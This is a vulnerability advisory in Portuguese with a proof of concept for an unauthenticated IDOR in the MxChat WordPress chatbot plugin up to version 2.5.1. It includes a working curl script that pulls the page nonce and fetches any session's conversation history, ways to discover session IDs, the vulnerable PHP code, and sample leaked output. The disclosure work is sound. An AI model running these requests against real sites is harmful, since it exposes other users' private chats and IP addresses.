
MxChat – Chatbot de IA para WordPress <= 2.5.1 - Exposição de Informações sem Autenticação
O plugin MxChat Basic não verifica a propriedade da sessão no endpoint AJAX mxchat_fetch_conversation_history, permitindo que usuários não autenticados acessem o histórico de conversas e os endereços IP de outros usuários por meio de vulnerabilidades de Referência Direta a Objetos Insegura (IDOR).
TARGET_SITE="http://example.com"
SESSION_ID="mxchat_chat_7jxi3jsdb"
NONCE=$(curl -s $TARGET_SITE | grep -oP 'nonce["\047]:\s*["\047]\K[^"\047]+' | head -1)
curl -X POST $TARGET_SITE/wp-admin/admin-ajax.php \
-d "action=mxchat_fetch_conversation_history" \
-d "session_id=$SESSION_ID" \
-d "nonce=$NONCE" \
-H "Content-Type: application/x-www-form-urlencoded" \
-H "X-Requested-With: XMLHttpRequest" | jq
A função no arquivo recupera os dados da conversa com base apenas em um fornecido pelo cliente, sem verificar se o solicitante é o proprietário da sessão. Isso permite que qualquer usuário não autenticado com um nonce válido (disponível via JavaScript do frontend) acesse os dados privados de conversas de outros usuários. Além disso, o histórico de conversas inclui os endereços IP dos usuários armazenados no campo , que são divulgados juntamente com os dados da conversa.
/includes/class-mxchat-integrator.phpsession_idagent_nameA divulgação do endereço IP ocorre no processo de armazenamento de mensagens:
Localizado em class-mxchat-integrator.php:
361 // 4) Determine user_identifier
362 $user_identifier = $agent_name
363 ? $agent_name
364 : MxChat_User::mxchat_get_user_identifier();
Onde MxChat_User::mxchat_get_user_identifier() retorna o endereço IP do usuário para usuários não autenticados:
9 public static function mxchat_get_user_identifier() {
10 if (is_user_logged_in()) {
11 $current_user = wp_get_current_user();
12 return $current_user->user_login;
13 } else {
14 return sanitize_text_field($_SERVER['REMOTE_ADDR']); // IP address disclosed
15 }
16 }
Esse endereço IP é então armazenado no histórico de conversas como agent_name e exposto ao recuperar os dados da conversa.
Os IDs de sessão são incorporados diretamente nos nomes dos arquivos enviados. Quando os usuários enviam documentos PDF ou Word pela interface de chat, os arquivos são salvos com padrões de nomenclatura previsíveis: mxchat_{session_id}_{timestamp}.pdf e mxchat_word_{session_id}_{timestamp}.docx. Isso torna os IDs de sessão descobríveis por meio de vários vetores de ataque: listagem de diretórios se a indexação do servidor estiver habilitada no diretório de uploads, acesso à biblioteca de mídia do WordPress, possibilidade de indexação por mecanismos de busca, entre outros.
Trecho vulnerável de class-mxchat-integrator.php:
107 function mxchat_fetch_conversation_history() {
108 if (empty($_POST['session_id'])) {
109 wp_send_json_error(['message' => esc_html__('Session ID missing.', 'mxchat')]);
110 wp_die();
111 }
112
113 $session_id = sanitize_text_field($_POST['session_id']);
114 $history = get_option("mxchat_history_{$session_id}", []); // Direct access without ownership check
115 $chat_mode = get_option("mxchat_mode_{$session_id}", 'ai');
116
117 if (empty($history)) {
118 wp_send_json_success([
119 'conversation' => [],
120 'chat_mode' => $chat_mode
121 ]);
122 wp_die();
123 }
124
125 wp_send_json_success([
126 'conversation' => $history,
127 'chat_mode' => $chat_mode
128 ]);
129 wp_die();
130 }
Navegue até qualquer página do site WordPress alvo e extraia o mxchat_chat_nonce do código-fonte da página. O nonce é exposto no JavaScript do frontend como mxchatChat.nonce e está disponível para todos os visitantes.
Identifique um ID de sessão (formato: mxchat_chat_{9 caracteres alfanuméricos}). Os IDs de sessão podem ser descobertos por meio dos nomes dos arquivos enviados se a listagem de diretórios ou o acesso à biblioteca de mídia estiverem habilitados, ou enumerados testando padrões sequenciais ou valores comuns.
Execute o seguinte comando curl para recuperar o histórico de conversas de qualquer sessão:
curl -X POST http://example.com/wp-admin/admin-ajax.php \
-d "action=mxchat_fetch_conversation_history" \
-d "session_id=mxchat_chat_7jxi3jsdb" \
-d "nonce=YOUR_NONCE_HERE" \
-H "Content-Type: application/x-www-form-urlencoded" \
-H "X-Requested-With: XMLHttpRequest"
{
"success": true,
"data": {
"conversation": [
{
"id": "6903e8a1e195e",
"role": "user",
"content": "I'm wondering if you can tell me about what website I am on?",
"timestamp": 1761863841925,
"agent_name": "IP.REDACTED"
},
{
"id": "6903e8a33c86a",
"role": "user",
"content": "I'm wondering if you can tell me about what website I am on?",
"timestamp": 1761863843248,
"agent_name": "IP.REDACTED"
}
],
"chat_mode": "ai"
}
}
O campo agent_name contém o endereço IP do usuário ($_SERVER['REMOTE_ADDR']) para usuários não autenticados, que é divulgado juntamente com os dados da conversa.